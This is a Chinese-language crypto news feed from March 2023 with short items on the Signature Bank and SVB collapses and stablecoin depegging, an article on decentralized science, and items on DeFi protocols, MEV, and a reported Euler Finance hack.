    Tether CTO：Tether对Signature Bank没有任何敞口
    PANews 3月13日消息，Tether首席技术官Paolo Ardoino推特发文称，Tether对Signature Bank没有任何敞口。据此前消息，Signature Bank周日被纽约州监管机构关闭。美联储、FDIC和美国财政部发布联合声明称，所有使用Signature的储户都将获得补偿。  ( 4 min )
    赵长鹏：救助会鼓励银行承担更多风险，建议监管机构只对储户进行补偿
    PANews 3月13日消息，币安CEO赵长鹏推特发文称，一旦监管机构对银行实施了一次救助，就会陷入进退两难的境地。如果不救助，则不符合“保护消费者”的主张。如果出手救助，那么银行就失去了管理风险的动力，从而鼓励银行承担越来越大的风险，继而导致更多的救助。他表示，这是一个棘手的问题，建议监管机构只救助消费者，对他们进行补偿。然后关闭破产的企业，并收回部分高管薪酬。  ( 4 min )
    USDC、DAI回升至0.99美元上方，脱锚状态有所缓解
    PANews 3月13日消息，CoinGecko数据显示，稳定币USDC、DAI和FRAX脱锚状态有所缓解，USDC、DAI均已回升至0.99美元上方。USDC现报0.9904美元，DAI现报价0.9943美元，此外FRAX现报0.9899美元。  ( 4 min )
    Paxos：在Signature银行的存款为2.5亿美元，已建立存款保险制度
    PANews 3月13日消息，稳定币发行商Paxos表示，目前在Signature银行的存款为2.5亿美元，并建立了存款保险制度。所有Paxos稳定币储备都是完全支持的，并且可以随时以美元1:1的比例赎回给客户。 此前消息，Signature Bank倒闭，已被美国FDIC接管，所有储户都将获得补偿。  ( 4 min )
    Circle CEO：将把剩余硅谷银行现金转至纽约梅隆银行，并引入新的银行合作伙伴
    PANews 3月13日消息，USDC稳定币发行商Circle的首席执行官Jeremy Allaire发推文称：“我们很高兴地看到，美国政府和金融监管机构采取了关键措施，以减轻部分银行系统带来的风险。硅谷银行100%的存款是安全的，明天将在银行开放。100%的USDC储备金也是安全可靠的，我们将完成剩余硅谷银行现金到纽约梅隆银行的转移。如前所述，USDC的流动性操作将在明天上午银行开门时恢复。随着Signature今晚宣布关闭，我们将无法通过SigNet处理铸造和赎回，我们将依赖纽约梅隆银行的结算。此外，我们将引入一个新的交易银行合作伙伴，最早可能在明天实现自动铸造和赎回。”  ( 4 min )
    Coinbase：在Signature的现金余额约2.4亿美元，周一将恢复USDC到美元的转换
    PANews 3月13日消息，Coinbase发推文称：“尽管我们最近在传统银行业看到了动荡，但Coinbase继续照常运营。在Coinbase，所有客户资金继续安全且可访问，包括将于周一恢复的USDC转换。客户在银行的所有现金继续受到联邦存款保险公司转移保险的保护。由于FDIC暂停Signature的交易，我们目前正在为所有客户与其他银行合作伙伴的现金交易提供便利。截至3月10日星期五营业结束，Coinbase在Signature的公司现金余额约为2.4亿美元。正如FDIC所说，我们希望完全收回这些资金。在周末银行关门期间，我们暂时暂停USDC：USD的转换。在交易活跃时期，兑换依赖于在正常银行时间内清算的银行美元转账。当银行周一开门时，我们计划重新开始转换。用户资产仍然安全，可用于链上发送。”  ( 4 min )
    去中心化科学生态：如何利用DAO建立更好的科学研究经济？
    原文作者：Messari - Stephanie Dunbar, Stephen Basile 编译：BlockTurbo 科学知识是支撑技术发展和经济增长的公共产品。然而，当前的科学体系充斥着低下的效率、寻租活动和阻碍创新的低透明度。 为此，去中心化科学 (DeSci) 运动正在推出新的系统来维持、实施和传播开放科学。仅去年一年就有近50个DeSci项目启动，早期资本也开始注意到这一点。辉瑞通过参与VitaDAO的最新一轮融资来支持长寿研究，Balaji是Scholar和DBDAO等的早期支持者。这些项目为建设者、投资者、研究人员和社区成员提供了参与发展经济和进一步发展公共产品的机会。 当前的科学研究经济以牺牲透明度和创新为代价来激励声望获取。研究人员必须与寻租霸主（研究机构）、错位的审稿人和双重把关人（发表商）博弈。 该系统受到不同问题的困扰，这些问题可大致分为三大类： 1.集中决策和资金 研究通常由政府拨款或企业驱动的小型决策者团体资助。两者都显示出对资助对象的内在偏见。这是一个负反馈循环，研究人员根据他们认为最有可能被选中的假设来调整费力的资金申请，而牺牲了他们可能最热衷的假设。结果，研究方差大大缩小。例如，数十亿美元用于资助阿尔茨海默病研究的单一理论，而有前途的新想法却继续被拒绝资助。 2. 方法论和数据透明度差 糟糕的科学可能会长期存在，因为研究人员为保证就业和资金，就要“发表或灭亡”。此外，数据和方法缺乏透明度使得其他人很难（如果不是不可能的话）验证或建立现有结果。这导致了“复制危机”，据估计，超过 50% 的研究论文无法复现，85% 的生物医学研究支出浪费在设计不当和冗余的研究上。 3. 不受激励的审查和严格控制的发表 手稿必须通过一小组无偿同行的审查才能考虑发表。这会导致重大的出版延迟、对竞争想法的偏见以及对细节的关注不足。无数涉及虚假报告、篡改和重复使用图像以及影响因子分数操纵的丑闻导致撤回文章的数量在过去十年中增加了十倍。 然后，传统的科学出版商继续以数千美元的文章处理费和高额的读者订阅费来抨击科学家。这个系统最令人不安的是，公众必须为科学研究支付两次费用：首先是通过资助研究的税收，然后是通过向出版商订阅以获得结果。归根结底，出版商的利润率在 20% 到 50% 之间。 针对这些问题，随着互联网的兴起，开放科学运动应运而生。它是对开放和公平数据、手稿和协作的承诺。像开放科学基金会这样的先驱者向发表具有开放数据和方法的手稿的研究人员颁发徽章。该运动使用Web2协调工具，主要依靠志愿者和捐款。虽然许多开放科学组织今天仍然存在，但许多组织一直在努力维持运营或为最终用户（研究人员和读者）保持低成本： Sci-Hub：一个开放访问网站，其创始人发表来自各种期刊的研究。该平台被认为是非法的，并且经常面临被关闭的威胁； Experiment：独立研究人员的项目众筹网站。该平台依靠每个项目的一名工作人员来审查提交的内容，并收取 8% 的平台费用和约 3% 的付款处理费用； PLOS：一个开放权限的出版商，不可避免地会将人员配备和网站维护的成本转嫁给申请人。在PLOS上发表的费用与传统期刊相似。 此外，由于众所周知的原因，开放权限的期刊以惊人的速度接受虚假论文，因此该领域在可验证性方面存在困难。开放科学无疑是朝着正确方向迈出的一步，但在二十多年后，许多建设者已经意识到，需要额外的协调、激励和验证工具来引入下一波开放研究。 DeSci生态系统有各种各样的项目，可以解决研究经济的部分或全部问题。 代币激励的研究生态系统，如Brian Armstrong的研究中心，处理科学生命周期的多个缓解。其他DeSci项目正在构建一个核心重点领域，并可以模块化地与堆栈中的其他项目集成。 无论是模块化的还是单一的，每个DeSci项目都试图通过以下方式为科学进步做出贡献：使资金民主化、提高方法和数据透明度、激励审查以及促进对科学知识的开放获取权限。 资金 DeSci主要通过DAO促进基于社区的决策来资助研究。许多DAO都有特定的重点领域，例如VitaDAO资助长寿研究，FrontierDAO专注太空探索。其他的，如LoveDAO和VibeBio，计划资助其社区确定的一系列医疗解决方案。将资助决策交到社区手中可以促进量身定制和有针对性的解决方案的开发，而这些解决方案在传统的、以利润为导向的环境中往往被忽视。 协调机制和价值累积 资助DAO通常围绕治理代币或NFT进行，以引建立金库并对研究计划进行投票。他们还可以从外部获得资金和捐赠，例如Gitcoin，它在2022年7月至2022年9月举行了最新一轮 DeSci 融资。 为了维持运营，DAO可以将他们资助的研究产生的知识产权 (IP) 货币化。 IP-NFT由Molecule于2021年8月率先提出，可合法保护研究产生的IP。它们是传统专利的独特替代品，传统专利用于囤积和限制数据并限制科学发现的速度。IP-NFT允许DAO通过多种方式将其工作货币化： 许可IP供其他实体商业化 与合作伙伴分割所有权 在开放市场上交易数据并维持创作者版税 持有作为抵押借款 IP-NFTs还允许新的研究协调机制，例如对经过验证的参与者进行访问控制以贡献研究和获得补偿。随着时间的推移，许多资助DAO的界限可能会变得模糊，它们的社区可能会全面发展以应对研究经济的其他部分。 透明的研究方法和数据集 DeSci可以阐明研究的结构和进行方式。在这一点上，许多资助DAO利用合同研究组织 (CRO) 等外部实体来完成研究查询，尽管有许多新兴的以DeSci为重点的研究组织。例如，LabDAO的成员可以启动和加入研究项目并共享服务和工具，而In Real Lab (IRL) 是一个专注于 DeSci 的分子生物学合作空间。 协调机制和价值累积 IP-NFT是贡献者如何发现和参与由 DAO 资助的研究项目的一个例子。Molecule市场将项目与潜在投资者进行匹配，结果可以作为IP-NFT元数据添加。 OpSci正在采取不同的方法，将独立研究人员或团体的身份、证书和项目标记为 Impact Certificate NFTs。 Impact Certificates将与其他协议配对，例如用于去中心化身份和凭证验证的Holonym，以及用于跟踪研究方法和进展的Hypercerts等原语。Hypercerts是代表研究方法、数据集和成就的ERC-1155代币。研究人员可以通过透明地显示他们一段时间内的工作细节来在开放平台上吸引资金。透明数据集的所有权在公开分类账上得到验证，因此受到保护。 激励同行评审和开放出版 到目前为止，研究人员和项目组及其数据集、方法和结果如何被标记化可能已经很明显了。手稿也是如此。在DeSci中，用户必须付费才能上传或访问科学报告的当前期刊出版系统被无需许可的数据层和市场平台费用所取代。费用被提取给那些希望购买或出售研究所有权的人；因此，研究人员可以自由展示他们的手稿，就像在 OpenSea 等市场上自由查看 NFT 一样。审查过程也更加灵活，因为研究人员可以利用独立的同行审查协议。 协调机制和价值累积 像Ants-Review这样的项目在以太坊上提出了一个激励性的同行评审协议，社区成员让专业的付费评审委员会负责。研究人员支付协议以对研究进行审查，但只有在社区通过投票确定已满足彻底审查的要求时，付款才会发放给审阅者。 在发布方面，DeSci Labs的DeSci Nodes应用程序允许研究人员在开放状态、分散的存储库上创建和发布支持FAIR的研究对象。研究对象包括手稿、代码、数据集、视频等，并且为了再现性和可复制性而相互连接。 研究的所有组成部分都是可引用的，并通过链接的持久标识符和分散的解析器系统将信用累积到一个点。开发人员可以在此开放数据层之上构建应用程序，以实现自定义协调和价值累积机制。这些应用程序可以模块化地与DeSci堆栈的其他部分集成；例如使用来自Ants-Review的同行评审结果和OpSci Impact Certificates来验证身份和工作历史。 数据、工具和基础设施 DeSci依赖于数据，而且是大量的数据。Data Lake、CureDAO和Fleming Protocol 等协议允许个人将其个人健康数据和医疗记录货币化以供研究人员购买。使用DB DAO，DAO可以通过将数据库中的每一行标记为NFT来管理他们收集的数据集，贡献者在访问他们的数据时会收到查询费用。 在研究生命周期的更下方，DeSci NFT（IP-NFT、影响证书、Hypercerts、研究对象等）存储在去中心化解决方案中，包括IPFS和Arweave。像Bacalhau这样的项目允许用户直接在存储数据集的地方执行计算作业（“Compute Over Data”）。每个作业在 IPFS上输出一个唯一的内容标识符（CID），它在数据集之间创建可证明的链接，支持可重复性。Bacalhau还有助于简化研究人员的工作流程，因为在本地下载大型数据集通常是不切实际的。 最后，DAO工具服务，如 bio.xyz 提供的服务，一个从 Molecule 衍生出来的launchpad，帮助DeSci DAO站稳脚跟。launchpad为各种生物技术资助的DAO提供了初始支持和赠款资金，包括VitaDAO、PsyDAO、HairDAO和ValleyDAO等。 DeSci 是一个新兴的生态系统，尚未经过实战考验。大多数DeSci项目 (78%)是在过去一年半开始的，从2021年第四季度上一轮牛市的高峰期开始。项目启动的激增恰逢 2021年10月在LisCon期间的以太坊会议上举行的第一个DeSci赛道。 大多数协议尚未在主网上完全启动。有各种新兴的DeSci生态系统设计，哪些项目将成功获取价值和维持运营还有待观察。未来的挑战包括： 知识产权：进行研究并不一定能保证产生有用的结果。IP-NFT社区可能无法将IP货币化，从而影响他们的底线。此外，如果与研究机构合作，谈判知识产权可能需要通过资助DAO进行大量努力，因为传统机构习惯于接收其组织的研究人员生产的大部分 IP。 可验证性：去中心化的身份和数据验证协议还处于起步阶段。在他们成熟之前，存在风险，研究人员会歪曲他们的资格以吸引资金并可能促进非法结果。 可重复性：开放和可验证的方法和数据集可能会带来更好的可重复性，但复制研究尚未得到激励。Scholar和DeSci Labs等项目正处于构建激励复制研究协议的早期阶段。 法规遵从性：在IPFS或Arweave等去中心化网络上存储数据可能不被视为符合 GDPR或HIPAA。项目将需要与监管机构合作，以建立围绕DeSci实践的合法性。 解决这些挑战对于为DeSci经济带来合法性并进一步吸引资金、应用程序开发和研究参与非常重要。 DeSci是一项艰巨的任务，大多数项目仍处于早期阶段。然而，对于个人而言，还有许多未开发的机会可以从对公共产品的贡献中获益。社区可以资助对他们最重要的研究，科学家可以更轻松地通过他们的工作流程获利，并且整个系统可以通过默认采用开放和可验证的数据实践变得更加强大。透明的数据集和方法提高了可重复性。反过来，科学发现可能会变得更加频繁和富有成果，从而使DeSci经济的所有参与者受益。  ( 4 min )

  • Open

    在激励层做文章，了解 Merkl 如何在 Uniswap V3 上搭建新的激励范式
    Chainfeeds 导读： 超额抵押稳定币协议 Angle 推出激励 Uniswap V3 类型流动性资金的机制平台。BlockBeats 作者 Jaleel 对其运行机制、费用结构、LP 及项目方如何使用 Merkl 分配和领取激励进行介绍。 文章来源： https://www.theblockbeats.info/news/35516 文章作者： Jaleel 观点： Jaleel：Merkl 是一个激励 Uniswap V3 类型流动性资金的机制平台，Uniswap V3 上的 LPs 和其他类型具有集中流动性的 AMM 可从一个或多个池中的激励者（incentivizors）处获得补偿。激励者在分配奖励方面享有极大灵活性：可以选择对提供更多单一代币流动性的 LPs 进行更多奖励，或更多奖励设定紧密范围并从其位置获得更多交易费用的 LPs。还可以选择是否激励超出范围的流动性，或是否让某些特定代币持有者获得加强奖励。 内容来源 Jaleel：使用 Merkl 无需承担任何资金风险，也不需要 LPs 执行任何特定智能合约交互：他们可以保留流动性，同时仍然获得奖励。还可以自定义自己的仓位，从而最大化从费用和激励中获得的收益，享受 AMMs 集中流动性类型所提供的所有可能性。Merkl 对激励收取低维护费用。除了领取奖励时消耗的 gas 外，LPs 没有任何成本。 内容来源 Jaleel：Merkl 基于一个非链脚本，可在给定链上查看受激励的池的数据，为所有这些池的利益相关者计算奖励。基于此，脚本将所有奖励分配数据聚合到一个 Merkle 树中，然后压缩为 Merkle 根，推送到链上，以允许 LPs 获取其奖励。该脚本每次定期运行，并每次固定时间段。这意味着每次运行脚本时，它只查看与此特定时间段相关的链上数据。 内容来源
    Aztec 专访：关闭 Connect 并非监管压力，将继续构建 L2 Rollup
    Chainfeeds 导读： 今日，Aztec Network 宣布关闭隐私基础设施 Aztec Connect，未来的发展重点将集中在零知识通用语言 Noir 和下一代加密区块链的开发上。Chainfeeds 创始人 Zhixiong Pan 专访 Aztec CEO Zac Williamson，围绕 Aztec 是否面临监管压力？Aztec Connect 是否运行成本过高？是否会转向开发 Layer1？等话题展开探讨。 文章来源： https://chainfeeds.substack.com/p/aztec-connect-l2-rollup 文章作者： Zhixiong Pan 观点： Zac Williamson（Aztec 首席执行官）：1. Aztec 未被监管机构联系，关闭 Aztec Connect 是商业层面的考虑；2. Aztec Connect 的维护成本不低；3. 团队正专注于下一代默认隐私的可编程智能合约协议 Noir；4. 仍然关注于 Layer2，而不是 Layer1；5. Noir 使用比特币风格的 UTXO 模型；6. Noir 将会把零知识证明和密码学都抽象掉，应用开发者不需要了解密码学就能开发 Noir 智能合约。 内容来源  ( 4 min )
    FDIC：将硅谷银行所有存款转移至具有过渡性质的银行
    FDIC：将硅谷银行所有存款转移至具有过渡性质的银行 美国联邦存款保险公司宣布，将硅谷银行（SVB）所有存款转移至具有过渡性质的银行（Bridge Bank）。该银行将在正常时间营业，并提供网上银行、ATM 服务。硅谷银行客户的支票将被清算，贷款也将被支付。 内容来源
    【英文长推】深入了解 Arbitrum 三个版本之间的区别
    Chainfeeds 导读： Arbitrum Daily 发推介绍 Arbitrum 三个版本：Arbitrum One, Arbitrum Nova 和 Arbitrum Nitro 各自的特点和相互之间的区别。 文章来源： https://twitter.com/ArbitrumDailyTK/status/1634967607890817024 文章作者： Arbitrum Daily 观点： Arbitrum Daily：Arbitrum One 和 Arbitrum Nitro 的区别：建立在不同的技术上（Optimistic Rollup 和 AnyTrust 链）；不同的数据可用性（链上和链下）；Nitro 是 One 技术栈的升级，而 Nova 是独立于 One 的网络。【原文为英文】 内容来源 Arbitrum Daily：Arbitrum One/Nitro 专注于 DeFi 和 NFT 项目，将完整的数据集作为 Calldata 发布到 ETH 主网。而 Arbitrum Nova 支持游戏、社交、具有高交易量的一般区块链用例，有两种发布数据的方式（Calldata 和 DACert）。【原文为英文】 内容来源 Arbitrum Daily：Arbitrum 的一大优势是其可扩展性。借助 Optimistic Rollup，Arbitrum One 每秒最多可以处理 4,000 笔交易，而 Arbitrum Nova 的 AnyTrust 技术则可处理更高交易量；另一个关键优势是其无信任协议，意味着用户可以完全控制他们的资产，而无需依赖中央机构或中介；数据可用性方面，Arbitrum One 将链下执行的数据存储在以太坊网络上，而 Arbitrum Nova 则将其存储在外部数据可用性委员会（DAC）上，这可能会对安全、成本和速度产生影响。【原文为英文】 内容来源  ( 2 min )
    BlockSec：借贷协议 Euler Finance 疑似遭到攻击，损失约 1.97 亿美元
    BlockSec：借贷协议 Euler Finance 疑似遭到攻击，损失约 1.97 亿美元 据 BlockSec 监测数据显示，DeFi 借贷协议 Euler Finance 疑似遭到攻击，损失约 1.97 亿美元。其中包括 8,877,507.35 枚 DAI、849.14 枚 WBTC、34,413,863.42 枚 USDC 和 85,818.26 枚 stETH。 内容来源 观点： ZachXBT：几乎可以肯定是黑帽，因为他们几周前在 BSC 上攻击了一些协议，然后将资金存入了 Tornado。【原文为英文】 内容来源 PeckShieldAlert：被盗资金中约 100 枚 ETH 被转入 Tornado Cash。【原文为英文】 内容来源 Euler Labs：我们的团队目前正在与安全专家和执法部门合作，我们将在获得进一步信息后立即公布。【原文为英文】 内容来源 0xScope：一些项目和个人也受到了 Euler 黑客事件的影响。Angle 在 Euler 中有 1760 万美元 USDC；Idle DAO 在 Euler 中有 460 万美元 USDC；SwissBorg 在 Euler 中存入了 6357 枚以太坊和 170 万枚 USDT，事发后迅速借出 4752 枚 cbETH 弥补损失，但仍有约 426 万美元；链上地址 0x28a5 开头的巨鲸和 czsamsun.eth 分别有 400 万美元和 274 万美元资产被困 Euler。【原文为英文】 内容来源 Euler Labs：最新进展：帮助通过禁用 EToken 模块阻止了直接攻击，同时与 TRM Labs、Chainalysis 和更广泛的以太坊安全社区合作帮助调查和恢复资金。我们还通知美国和英国执法部门并共享信息，并尝试联系了此次攻击的责任人。此外，在调查了攻击后，我们得出结论：攻击者利用了易受攻击的代码，允许它通过向协议的储备金捐赠资金来创建无担保的代币债务头寸，使得攻击者能够清算这些账户并从清算奖金中获利。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析以太坊 MEV 相关统计数据
    Chainfeeds 导读： MEV-Boost 支付于昨天创下历史新高，总计 7691 ETH，几乎是此前 FTX 崩溃期间 3928 ETH 的历史新高的两倍。Flashbots 产品负责人 bertcmiller 撰文分析以太坊 MEV 相关统计数据，包括历史巨量 MEV、近期 Builder 和 Relay 市场份额的市场份额变化。 文章来源： https://twitter.com/bertcmiller/status/1634931226393051136 文章作者： bertcmiller 观点： bertcmiller：一个有趣的事情是，我们每年都会有一次大量 MEV 的日子：2021 年 6 月 5 日：6397 ETH；2022 年 6 月 13 日：6313 ETH；2023 年 3 月 11 日：向 mev-boost 提议者支付 7691 ETH。从另一个角度看，在过去 24 小时内，大约 95% 的区块是 MEV-Boost 区块。【原文为英文】 内容来源 bertcmiller：昨天和上周的 Builder 市场份额：builder0x69 飙升，尤其是在高 MEV 时期；Flashbots /rsync 非常稳定；beaverbuild 和 bloXroute Labs 减半；Manta 完全跌出前 10 名。builder0x69 似乎在补贴中位数区块，并从最赚钱的区块中获利，考虑到超高 MEV 区块的数量，它们的激增是有迹可循的。【原文为英文】 内容来源 bertcmiller：Relay 市场份额：ultra sound money 和 GnosisDAO 的中继器在过去 24 小时内集体飙升了约 10%，似乎是以牺牲 BloxRoute 和 Blocknative 的市场份额为代价的。【原文为英文】 内容来源  ( 2 min )
    StarkNet 创新项目一览：开发者 / 艺术家 / 玩家有哪些新机会？
    Chainfeeds 导读： 在 StarkNet 主网上线的一年半中，有超过 221 个项目正在 StarkNet 上构建，包括 OnlyDust、Briq、Pxls、Realms、Influence 和 Cartridge。开发者社区正在致力于深入改进架构，这将会在生态系统中释放出大量激动人心的新项目。白泽研究院撰文梳理 StarkNet 上的创新项目，供不同人群参考。 文章来源： https://mp.weixin.qq.com/s/TXE2egJUikjVUdnc6xQ2hA 文章作者： 白泽研究院 观点： 白泽研究院：开发者：OnlyDust：一个将开发者与生态中的开源项目联系起来的平台。使开发者能够帮助 Kakarot、DevNet 和 starkNet.js 等有意义的项目，并根据贡献价值每周获得报酬。计划将推出「领导者」角色，开发者可以在其中快速启动自己的项目并直接从社区获得帮助。除在线社区外，OnlyDust 还举办现场活动。 内容来源 白泽研究院：艺术家：1）Briq：为艺术家构建了一个可组合性系统，使用 ERC-1155 代币 briqs 来构建作品。艺术家可以直接出售、出借、转让其作品，或允许购买者拆解以创造全新的东西；2）Pxls：一项链上协作艺术品实验，围绕 400 个「pxl」NFT 集合构建，每个 pxl 都是参与创建像素艺术作品「rtwrks」的关键。每两天，新 rtwrk 都会被拍卖，用户赢得拍卖后可为下一个 rtwrk 列出主题。拍卖结束后，每个 pxl NFT 持有者都会收到主题，投入到创作中。 内容来源 白泽研究院：玩家：1）Realms：一款大型多人在线游戏，开源且完全在 StarkNet 链上运行。玩家可建立帝国、掠夺资源和抢占遗迹。具有多种游戏模式和功能，由一组预定义规则管理，可根据玩家投票更新；2）Influence：一款 3D 太空战略沙盒 MMO，所有游戏内资产均为玩家所有。每颗小行星都有独特的资源组合，可以开采并提炼成各种产品，在公开市场上交易；3）Cartridge：Crypto 版 Steam，可以帮助玩家发现、探索游戏，同时管理链上资产、代币和声誉。帮助开发者轻松创建加密游戏，提供无缝用户体验。 内容来源  ( 32 min )
    【英文】AI 如何帮助 Web3？探索 AI 与 Web3 结合的潜在场景及用例
    Chainfeeds 导读： AI 已经跃升到新的水平，正在帮助构建 Web3。Crypto.com 从生成式 AI、AIGC 入手，探讨 AI 与 Web3 结合的潜在场景及用例，包括 NFT、区块链游戏、元宇宙、Web3 开发，并解读 Web3 中 AI 使用的挑战、风险和前景。 文章来源： https://crypto.com/university/how-ai-shapes-web3 文章作者： Crypto.com 观点： Crypto.com：生成式 AI 是一种用于通过计算机模型生成内容（例如文本、图像、音频和视频）的 AI。AIGC 被广泛认为是继专业生成内容 （PGC）和用户生成内容 （UGC）之后内容生成的下一阶段。AI 的一些相关分支是自然语言处理 (NLP) 和生成对抗网络 （GAN），前者研究计算机如何处理和分析文本，后者旨在生成与训练数据集具有相似特征的新数据。【原文为英文】 内容来源 Crypto.com：AI 与 Web3 结合的应用：1）NFT：品牌与媒体；生成艺术 NFT。2）区块链游戏：游戏资产生成、游戏叙事和故事设计；角色建模和创作；角色动画。3）元宇宙：身临其境的 3D 环境设计；动态资产及纹理生成。4）Web3 开发：代码生成；代码调试；工作流自动化；代码审计。【原文为英文】 内容来源 Crypto.com：有了 AI，可能性是无限的，并且只受用户想象力的限制。虽然进入门槛低导致广泛采用，但是此类技术也存在一些挑战和风险：1）消费者和组织对人工智能生成的内容的抵制；2）质量问题，然而 AI 将取代人类在工作中的地位是一种误解。AI 与 Web3 融合的未来：「已经来临，只是分配不均」。【原文为英文】 内容来源  ( 13 min )
    Aztec 宣布关闭 Aztec Connect，建议用户尽快提款
    Aztec 宣布关闭 Aztec Connect，建议用户尽快提款 基于 ZK Rollup 的隐私和扩容解决方案 Aztec Network 宣布关闭隐私基础设施 Aztec Connect。自北京时间 2023 年 3 月 21 日 22 时起，将停止从 zk.money 和其他前端（如 zkpay.finance）存入 Aztec Connect 合约， 2024 年 3 月 21 日为官方运行的最后提款日，Aztec 将发布最后一个 Aztec rollup。Aztec 表示，整个 Aztec Connect 协议已开源，官方鼓励 Aztec 社区分叉协议并将提供资金支持。未来，Aztec 的发展重点将集中在零知识通用语言 Noir 和下一代加密区块链的开发上。 内容来源 观点： ChainFeeds：Aztec Network 的相关负责人在社群回应称：「关停 Aztec Connect 的决定主要出于商业考虑，没有任何监管机构与团队联系。Aztec Connect 的隐私性导致了设计中的一些问题，增加了维护成本。公司正专注于下一代版本的协议，将支持完全可编程的智能合约，默认情况下具有隐私性。考虑到新项目的规模，需要我们专注所有工程资源来完成它…… 我们仍然专注于 L2 Rollup 且从未建立 L1，战略从未变化只是正在进入下一个阶段。」  ( 11 min )
    如何降低 MEV 危害？解读 Flashbots 旗下产品：Flashbots RPC、Flashbots Bundle、MEV-Boost
    Chainfeeds 导读： 硅谷银行事件中某用户受到三明治攻击损失 200 万美元的事件引发热议，PeopleDAO 核心人员 0xAA 撰推介绍致力于减轻 MEV 对区块链造成危害的研究组织 Falshbots，以及其旗下三款免费产品及其最新引入的 MEV-Share 概念。 文章来源： https://twitter.com/0xAA_Science/status/1612863848134107138 文章作者： 0xAA 观点： 0xAA：1）Flashbots RPC：面向以太坊普通用户的免费产品，你只需要在加密的钱包中将 RPC（网络节点）设置为 Flashbots RPC，就可以将交易发送到 Flashbots 的私有 mempool，从而免受抢先交易 / 三明治攻击的侵害。 内容来源 0xAA：2）Flashbots Bundle：在区块链上搜索 MEV 机会的开发者被称为 「搜索者」。Flashbots Bundle（交易包）是一款帮助搜索者提取以太坊交易中 MEV 的工具。搜索者可以利用它将多笔交易组合在一起，按照指定的顺序执行。3）MEV-Boost：由以太坊 POS 验证者运行的中间件，帮助以太坊节点通过 MEV 获得更高的 ETH 奖励。目前超过 90% 的验证节点安装了 mev-boost，出块数量占到了总量的 60% 内容来源 0xAA：Flashbots 最近提出 MEV-Share 概念，将 MEV 尽可能分给用户：1）引入新角色：匹配者（matchmaker)，利用用户隐私交易帮搜索者建立更好的 bundle，并确保 MEV 分给用户。2）用户需要将交易和隐私偏好发给匹配者。3）搜索者从匹配者获取部分用户的交易信息，并构建更好的 bundle。设计逻辑：原先用户发到 flashbot rpc 的隐私交易可能隐含 MEV，但却不能在 bundle 里提取 MEV。MEV-Share 让用户分享隐私交易，并获得 MEV 分成。 内容来源  ( 2 min )
    【英文长推】盘点过去六个月净收入最高的 5 个 DeFi 协议
    Chainfeeds 导读： 加密 KOL Poopman 盘点了过去六个月净收入最高的 5 个 DeFi 协议。其中，MakerDAO 和 Gains Network 凭借高收入和低支出位列第一二名，GMX 和 Convex 尽管拥有超高的费用收入，但由于其超过七成以上的收入均分配给了 LP 和持币者，因此净收入不敌前者。 文章来源： https://twitter.com/poopmandefi/status/1634915107435327488 文章作者： Poopman 观点： Poopman：一般来说，DeFi 协议通过以下方式产生利润：交易费、贷款和借贷费用、稳定费（见于 CDP）；此外，DeFi 通过 3 个主要渠道分配利润：协议金库、代币持有者、LP。为了评估一个项目的盈利能力，盈利 = 收入 — 代币激励将是一个更好的指标，因为它们代表了向 LP 分配费用后的「净收入」。【原文为英文】 内容来源 Poopman：MakerDAO：当通过 MakerDAO 借款时，必须支付稳定费用，这些费用用于购买 MKR 并燃烧。MakerDAO 从稳定费中获得了 725 万美元的收入，在扣除价值 9.32 万美元的代币奖励后，收益总额为 716 万美元。Gains Network：当用户打开、关闭或更新交易时，Gains 会收取一定的费用，此外，还有展期费、资金费和清算费。Gains 获得了 700 万美元费用，由于没有 GNS 奖励，Gains 只需要支付 127 万美元的流动性供应方费用，它最终赚取了大约 573 万美元。【原文为英文】 内容来源 Poopman：GMX：GMX 将交易和杠杆交易产生的费用分配给质押 GMX 并为 GLP 提供流动性的用户。GMX 赚取了 6754 万美元的费用，其中 4727 万美元（70%）作为 GLP 持有人提供流动性的奖励。剩下的 2026 万美元作为收入，但其中 1660 万美元（82%）用于代币奖励，最终 GMX 只有 364 万美元净收入。【原文为英文】 内容来源 Poopman：Convex：Convex 从 3CRV 挖矿、CRV 和其他流动性挖矿奖励中获得收入。Convex 赚取了 7051 万美元的费用，其中 5631 万美元（80%）给了 Curve LP 质押者，剩余的 1417 万美元收入主要用于代币激励，最终净收入为 157 万美元。1inch：1inch 对通过其平台执行的交易收取少量的费用，1inch 产生了 197 万美元的收入，在减去 69.3 万美元的代币奖励后，1inch 的净收入达到 127 万美元。【原文为英文】 内容来源  ( 2 min )
    【英文长推】对冲挂钩资产风险的协议 Y2K Finance
    Chainfeeds 导读： USDC 脱钩引起市场恐慌，加密 KOL DefiDog 则撰推发文介绍可对冲挂钩资产风险的协议 Y2K Finance，分析其主要产品、代币经济模型和路线图。 文章来源： https://twitter.com/ArbiAlpha/status/1634615208848281603 文章作者： DefiDog 观点： DefiDog：Y2K 为基于市场均衡的挂钩资产保险创建定价市场，用户可以对冲或投机各种挂钩资产的风险。主要提供两个产品：1）Earthquake：该金库基于 TradFi 巨灾债券，即发生脱钩时向接收者付款。2）Wildfire：该产品将成为其二级市场，允许 Earthquake 金库被代币化和交易。【原文为英文】 内容来源 DefiDog：工作原理：1）风险金库（Risk Vault），类似于卖保险。将抵押品存入选择的金库并承保挂钩资产的风险。2）对冲金库（Hedge Vault），类似于买保险，将作为溢价的抵押品存入金库，并获得选择的挂钩资产的保险。Y2K 从保费中收取 5% 的费用，对冲与风险金库存款的比率决定了挂钩资产的保险价格。【原文为英文】 内容来源 DefiDog：$Y2K 是 Y2K 生态系统的实用代币。可以为 vlY2K 锁定 $Y2K，从而获得治理、协议收入份额（50%）等权益。下一个重要催化剂将是 WildFire 金库的上线，本质上讲，用户将获得实时保险定价。该团队一直在不断添加新资产。【原文为英文】 内容来源  ( 2 min )
    【长推】探讨未来的去中心化稳定币方向：基于链上原生资源的去中心化稳定币
